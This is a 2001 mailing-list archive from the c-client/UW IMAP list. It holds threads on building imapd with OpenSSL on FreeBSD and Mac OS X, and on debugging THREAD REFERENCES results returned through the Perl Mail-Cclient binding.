mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAR40qn15516 for ; Mon, 26 Nov 2001 20:00:52 -0800 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Mon Nov 26 20:00:51 2001 -0800 Received: from toadophile.com (adsl-66-122-112-170.dsl.snfc21.pacbell.net [66.122.112.170]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAR40p401880 for ; Mon, 26 Nov 2001 20:00:51 -0800 Received: from [192.168.1.100] (router.toadophile.com [192.168.1.1]) by toadophile.com (8.10.2/8.10.2) with ESMTP id fAR40oK17526 for ; Mon, 26 Nov 2001 20:00:50 -0800 (PST) Message-Id: Date: Mon, 26 Nov 2001 20:00:50 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: Subject: Re: imapd + Outlook = In-Reply-To: <217443.1004481473@w139.z208176063.chi-il.dsl.cnc.net> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Can anyone point me in the right direction to build imapd with SSL support on FreeBSD 4.4? OpenSSL is included with the OS by default, and in fact I am using it with Webmin. However, neither of the directories mentioned in the SSLBUILD doc exist on my server: /usr/local/ssl /usr/local/ssl/include/openssl They're just not there. Can someone give me a hint? Thanks. -- Mark Edwards Engineer Mr. Toad's San Francisco From pinedev@shivax2.cac.washington.edu Mon Nov 26 21:30:43 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 26 Nov 2001 21:30:43 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAR5UgT09198 for ; Mon, 26 Nov 2001 21:30:42 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Nov 26 21:30:36 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAR5UZG20329; Mon, 26 Nov 2001 21:30:35 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAR5TL413412; Mon, 26 Nov 2001 21:29:21 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAR5S3n19456 for ; Mon, 26 Nov 2001 21:28:03 -0800 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Nov 26 21:28:02 2001 -0800 Received: from sdf1.sixfeetup.com (sdf1.sixfeetup.com [205.158.174.204]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAR5S2228612 for ; Mon, 26 Nov 2001 21:28:02 -0800 Received: from sixfeetup.com (dsl-64-130-131-57.telocity.com [64.130.131.57]) by sdf1.sixfeetup.com (Postfix) with ESMTP id 163D8FFE57; Mon, 26 Nov 2001 21:27:56 -0800 (PST) Message-Id: <3C0324D2.4050305@sixfeetup.com> Date: Mon, 26 Nov 2001 21:29:54 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Calvin Hendryx-Parker To: Mark Edwards Cc: c-client@u.washington.edu Subject: Re: imapd + Outlook = References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I had the same problem and ended up just changing the Makefile in the root like this: SSLTYPE=unix and then in the Makefile under src/osdep/unix: SSLTYPE=unix SSLDIR=/usr SSLCERTS=$(SSLDIR)/local/certs SSLINCLUDE=$(SSLDIR)/include SSLLIB=$(SSLDIR)/lib Since OpenSSL is now a part of the FreeBSD 4.4 install it is installed in the /usr bit of the system instead of under /usr/local/ like if you had instlled it from ports. I then did the standard make bsf and it all seemed to compile up just fine for me. I'm sure there is a way to do it all from the Makefile in the root, but this was pretty simple to change. Calvin Mark Edwards wrote: >Can anyone point me in the right direction to build imapd with SSL support >on FreeBSD 4.4? OpenSSL is included with the OS by default, and in fact I >am using it with Webmin. However, neither of the directories mentioned in >the SSLBUILD doc exist on my server: > >/usr/local/ssl >/usr/local/ssl/include/openssl > >They're just not there. Can someone give me a hint? > >Thanks. > -- Six Feet Up (TM) "You put your feet up. We put your site up." Refer a friend. Get $10. http://www.sixfeetup.com From pinedev@shivax2.cac.washington.edu Thu Nov 29 07:23:39 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 29 Nov 2001 07:23:37 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fATFNZT30669 for ; Thu, 29 Nov 2001 07:23:35 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Thu Nov 29 07:23:31 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fATFNUG20828; Thu, 29 Nov 2001 07:23:30 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fATFNH214944; Thu, 29 Nov 2001 07:23:17 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fATFKjn111978 for ; Thu, 29 Nov 2001 07:20:45 -0800 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Thu Nov 29 07:20:44 2001 -0800 Received: from stratus.swi.com.br (stratus.swi.com.br [200.203.204.140]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fATFKg401963 for ; Thu, 29 Nov 2001 07:20:43 -0800 Received: from speedy.swi (titan.swi.com.br [200.203.204.141]) by stratus.swi.com.br (8.11.6/8.11.6) with ESMTP id fAT9KSV12045; Thu, 29 Nov 2001 06:20:28 -0300 Message-Id: <200111290920.fAT9KSV12045@stratus.swi.com.br> Date: Thu, 29 Nov 2001 06:20:28 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: c-client@u.washington.edu Cc: raul@dias.com.br Subject: Thread implementation Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Local-Origin: chaos@swi.com.br X-Local-Sender-Address: chaos@swi.com.br X-Gateway: Speedway Internet Service http://www.swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I need to know if the thread support in c-client is fully functional in imap-2001a (and later). During the latest releases I have seen a lot of change and I am looking for the place to correct it (in c-client or not). Here are the thread result with the same code, same mailbox with different versions of imap. This first one is what I am expecting. The brackets indicates where a tree branch starts and ends. They are ordered by "reference" and the numbers indicates the uid of the message: [ 1430, [ 1432 ], 375, 501, 1, [ 2, [ 3 ] ], 4, 5, [ 6, [ 7, [ 12, [ 15 ] ] ] ], 8, [ 9, [ 10, [ 11 ] ] ], 13, 14, [ 16, [ 17, [ 18, [ 19 ] ] ] ], 20, 21, ] This is what I got when compiled with imap-2001-RELEASE.CANDIDATE-1 : [ 26, 27, 24, 25, [ 1, 2, 3, 4 ], 5, 6, 7, 12, 15, 8, 9, 10, 11, 13, 14, 16, 17, 18, 19, 20, 21, 22, 23 ] Here is what I got with imap-2001a-RELEASE_CANDIDATE-2 : (longer) [ 1430, 1432, [ 1432, [ ] ], 375, [ ], 501, [ ], [ 1, 2, 3, [ 2, 3, [ 3, [ ] ] ], 4, [ ] ], 5, 6, 7, 12, 15, [ 6, 7, 12, 15, [ 7, 12, 15, [ 12, 15, [ 15, [ ] ] ] ] ], 8, 9, 10, 11, [ 9, 10, 11, [ 10, 11, [ 11, [ ] ] ] ], 13, [ ], 14, 16, 17, 18, 19, [ 16, 17, 18, 19, [ 17, 18, 19, [ 18, 19, [ 19, [ ] ] ] ] ], 20, [ ], 21, [ ], ] Now, with imap-2001a-RC4 and imap-2001a-FINAL this is what I get: [ 1430, 1432, 375, 501, 1, 2, 3, 4, 5, 6, 7, 15, 12, 8, 10, 9, 11, 13, 16, 17, 18, 14, 19, 20, 21, 22, 23 ] As you see no thread generated (at all). All this thread was generated with the same code, same mailbox. The mailbox used is huge, so just the beggining was tested. The only thing that has changed on every test is the imap-2001a version used. I am not saying that the code used to produce this is not buggy. However before start to hunt down the daemons in it I need a confirmation that the thread part of c-client is working perfectly since imap-2001a-final. (or to know that it isn't). Regards, Raul Dias -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Nov 29 11:35:29 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 29 Nov 2001 11:35:28 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fATJZQT12939 for ; Thu, 29 Nov 2001 11:35:27 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Nov 29 11:35:17 2001 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fATJZHn19945; Thu, 29 Nov 2001 11:35:17 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fATJZ4b29228; Thu, 29 Nov 2001 11:35:05 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fATJWgn28998 for ; Thu, 29 Nov 2001 11:32:42 -0800 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Thu Nov 29 11:32:40 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fATJWd926506 for ; Thu, 29 Nov 2001 11:32:40 -0800 Message-Id: Date: Thu, 29 Nov 2001 11:28:25 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Raul Dias Cc: c-client@u.washington.edu Subject: re: Thread implementation In-Reply-To: <200111290920.fAT9KSV12045@stratus.swi.com.br> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Yes, thread support is fully functional. The data that you sent didn't make much sense though; it shows messages appearing more than once which can't happen in references. I think that it would be better if you did your tests through imapd and reported what imapd says in IMAP format. Also, what mailbox format are you using? Is it one of the standard drivers provided by c-client? From pinedev@shivax2.cac.washington.edu Thu Nov 29 13:59:48 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 29 Nov 2001 13:59:48 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fATLxkT16553 for ; Thu, 29 Nov 2001 13:59:47 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Nov 29 13:59:43 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fATLxhn26026; Thu, 29 Nov 2001 13:59:43 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fATLxX211598; Thu, 29 Nov 2001 13:59:33 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fATLvmn126424 for ; Thu, 29 Nov 2001 13:57:48 -0800 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Thu Nov 29 13:57:47 2001 -0800 Received: from stratus.swi.com.br (stratus.swi.com.br [200.203.204.140]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fATLvj923486 for ; Thu, 29 Nov 2001 13:57:46 -0800 Received: from speedy.swi (titan.swi.com.br [200.203.204.141]) by stratus.swi.com.br (8.11.6/8.11.1) with ESMTP id fATLva006011; Thu, 29 Nov 2001 19:57:37 -0200 Message-Id: <200111292157.fATLva006011@stratus.swi.com.br> Date: Thu, 29 Nov 2001 19:57:37 -0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: Mark Crispin Cc: Subject: Re: Thread implementation Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Local-Destination: c-client@u.washington.edu X-Local-Origin: chaos@swi.com.br X-Gateway: Speedway Internet Service http://www.swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >Yes, thread support is fully functional. > >The data that you sent didn't make much sense though; it shows messages >appearing more than once which can't happen in references. That's exactly what I was worried about (messages showing up more than once). the [ x, x ] represented a node so 1 [ 2 3 [ 4 ] ] was supposed to mean a reference tree like this: 1 |->2 |->3 |->4 where the numbers are the message uid > I think that it >would be better if you did your tests through imapd and reported what imapd >says in IMAP format. I will check this. > >Also, what mailbox format are you using? Is it one of the standard drivers >provided by c-client? good old mbox driver. The code I am testing with is the perl interface Mail-Cclient, each variation of the thread was a different imap that the Mail-Cclient was compiled with. Raul Dias From pinedev@shivax2.cac.washington.edu Thu Nov 29 22:55:22 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 29 Nov 2001 22:55:22 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAU6tKT11354 for ; Thu, 29 Nov 2001 22:55:21 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Thu Nov 29 22:55:13 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAU6tCn08370; Thu, 29 Nov 2001 22:55:12 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAU6t1416808; Thu, 29 Nov 2001 22:55:01 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAU6rin159016 for ; Thu, 29 Nov 2001 22:53:44 -0800 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Thu Nov 29 22:53:41 2001 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAU6rf907796 for ; Thu, 29 Nov 2001 22:53:41 -0800 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAU6reD25536; Thu, 29 Nov 2001 22:53:40 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAU6rew08070; Thu, 29 Nov 2001 22:53:40 -0800 Message-Id: Date: Thu, 29 Nov 2001 22:52:48 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Raul Dias Cc: c-client@u.washington.edu Subject: Re: Thread implementation In-Reply-To: <200111292157.fATLva006011@stratus.swi.com.br> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN OK, thanks for the update. Please let me know what you see when using just imapd, since that will eliminate the Perl Mail-Cclient code from the equation. From pinedev@shivax2.cac.washington.edu Fri Nov 30 08:07:36 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 30 Nov 2001 08:07:35 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAUG7XT28847 for ; Fri, 30 Nov 2001 08:07:33 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Nov 30 08:07:27 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAUG7Qn19790; Fri, 30 Nov 2001 08:07:27 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAUG6l539248; Fri, 30 Nov 2001 08:06:48 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAUG4Cn32938 for ; Fri, 30 Nov 2001 08:04:12 -0800 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Fri Nov 30 08:04:12 2001 -0800 Received: from stratus.swi.com.br (stratus.swi.com.br [200.203.204.140]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAUG48231005 for ; Fri, 30 Nov 2001 08:04:08 -0800 Received: from speedy.swi (titan.swi.com.br [200.203.204.141]) by stratus.swi.com.br (8.11.6/8.11.1) with ESMTP id fAUG3pM00569; Fri, 30 Nov 2001 14:03:52 -0200 Message-Id: <200111301603.fAUG3pM00569@stratus.swi.com.br> Date: Fri, 30 Nov 2001 14:03:52 -0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: Mark Crispin Cc: Subject: Re: Thread implementation Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Local-Destination: c-client@u.washington.edu X-Local-Origin: chaos@swi.com.br X-Gateway: Speedway Internet Service http://www.swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >OK, thanks for the update. Please let me know what you see when using just >imapd, since that will eliminate the Perl Mail-Cclient code from the equation. > Done. imapd (and c-client) is fine. The "A003 UID THREAD REFERENCES US-ASCII ALL" command returned the corrected thread. I also tested it with imap-2001a.RELEASE.CANDIDATE.2. Oddly enough the results were the same. With Mail-Cclient the results (even the wrong ones) were not the same. Probably there is something else in c-client that is influencing the bidings. At least now I know where to dig into. btw, why draft-ietf-imapext-thread-07.txt and other related drafts are not in the docs/ dir? I just understood how the THREAD command works with imap after finding it at http://www.ietf.org/internet-drafts/draft-ietf-imapext-thread-07.txt (I bet that they are in the ftp.cac.xxx too). Regards, Raul Dias From pinedev@shivax2.cac.washington.edu Fri Nov 30 11:28:22 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 30 Nov 2001 11:28:21 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAUJSKT12743 for ; Fri, 30 Nov 2001 11:28:20 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Fri Nov 30 11:28:16 2001 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAUJSGG06063; Fri, 30 Nov 2001 11:28:16 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAUJS7b26824; Fri, 30 Nov 2001 11:28:07 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAUJQfn36292 for ; Fri, 30 Nov 2001 11:26:41 -0800 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Fri Nov 30 11:26:41 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAUJQe930995 for ; Fri, 30 Nov 2001 11:26:40 -0800 Message-Id: Date: Fri, 30 Nov 2001 11:20:30 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Raul Dias Cc: c-client@u.washington.edu Subject: Re: Thread implementation In-Reply-To: <200111301603.fAUG3pM00569@stratus.swi.com.br> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 30 Nov 2001 14:03:52 -0200, Raul Dias wrote: > btw, why draft-ietf-imapext-thread-07.txt and other related drafts are not > in the docs/ dir? It's because it's an Internet Draft with an expiration, as opposed to an RFC. If you read the introductory text you'll see that `It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress."' Unfortunately, IESG has gotten pretty bureaucratic and political, and so IDs can be stalled for quite some time before they are permitted to be published as RFCs. In the case of SORT and THREAD, they were stalled for a long time for political reasons, and when those politics were finally exposed for the idiocy that they were, it's now stalled for a revision of the definition for how non-ASCII texts are sorted. From pinedev@shivax2.cac.washington.edu Fri Nov 30 12:24:11 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 30 Nov 2001 12:24:11 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAUKO9T18635 for ; Fri, 30 Nov 2001 12:24:10 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Nov 30 12:24:04 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAUKO3G08305; Fri, 30 Nov 2001 12:24:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAUKMm527218; Fri, 30 Nov 2001 12:22:48 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAUKKun64202 for ; Fri, 30 Nov 2001 12:20:56 -0800 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Fri Nov 30 12:20:55 2001 -0800 Received: from stratus.swi.com.br (stratus.swi.com.br [200.203.204.140]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAUKKr227652 for ; Fri, 30 Nov 2001 12:20:54 -0800 Received: from speedy.swi (titan.swi.com.br [200.203.204.141]) by stratus.swi.com.br (8.11.6/8.11.1) with ESMTP id fAUKKlM24114; Fri, 30 Nov 2001 18:20:47 -0200 Message-Id: <200111302020.fAUKKlM24114@stratus.swi.com.br> Date: Fri, 30 Nov 2001 18:20:47 -0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: Mark Crispin Cc: Subject: Re: Thread implementation Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Local-Destination: c-client@u.washington.edu X-Local-Origin: chaos@swi.com.br X-Gateway: Speedway Internet Service http://www.swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >On Fri, 30 Nov 2001 14:03:52 -0200, Raul Dias wrote: >> btw, why draft-ietf-imapext-thread-07.txt and other related drafts are not >> in the docs/ dir? > >It's because it's an Internet Draft with an expiration, as opposed to an RFC. >If you read the introductory text you'll see that `It is inappropriate to use >Internet-Drafts as reference material or to cite them other than as "work in >progress."' > >Unfortunately, IESG has gotten pretty bureaucratic and political, and so IDs >can be stalled for quite some time before they are permitted to be published >as RFCs. In the case of SORT and THREAD, they were stalled for a long time >for political reasons, and when those politics were finally exposed for the >idiocy that they were, it's now stalled for a revision of the definition for >how non-ASCII texts are sorted. Sad to hear it. However what the damage to include them in a doc/drafts/ (as opposed to doc/rfc/) as imapd already implements it. This would be a good help for developers to understand it and have another source of information other than the source code. The developer would understand that it can't rely this as the introdutory text says. Regards, Raul Dias From pinedev@shivax2.cac.washington.edu Fri Nov 30 14:56:19 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 30 Nov 2001 14:56:17 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAUMuGT16991 for ; Fri, 30 Nov 2001 14:56:16 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Nov 30 14:56:10 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAUMu9n03531; Fri, 30 Nov 2001 14:56:09 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAUMtu521816; Fri, 30 Nov 2001 14:55:56 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fAUMsrn174154 for ; Fri, 30 Nov 2001 14:54:53 -0800 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Fri Nov 30 14:54:52 2001 -0800 Received: from toadophile.com (adsl-66-122-112-170.dsl.snfc21.pacbell.net [66.122.112.170]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fAUMsq219507 for ; Fri, 30 Nov 2001 14:54:52 -0800 Received: from [192.168.1.100] (router.toadophile.com [192.168.1.1]) by toadophile.com (8.10.2/8.10.2) with ESMTP id fAUMspK05948; Fri, 30 Nov 2001 14:54:51 -0800 (PST) Message-Id: Date: Fri, 30 Nov 2001 14:54:42 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: Calvin Hendryx-Parker Cc: Subject: Re: imapd + Outlook = In-Reply-To: <3C0324D2.4050305@sixfeetup.com> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thanks, that got it working. Now here's the hard question... Has anyone managed to get uw-imap to compile with SSL under any version of Mac OS X? It seems to have OpenSSL, but I can't find the right directories, specifically the include directory. Anyone? on 11/26/01 9:29 PM, Calvin Hendryx-Parker at calvin@sixfeetup.com wrote: > I had the same problem and ended up just changing the Makefile in the > root like this: > > SSLTYPE=unix > > and then 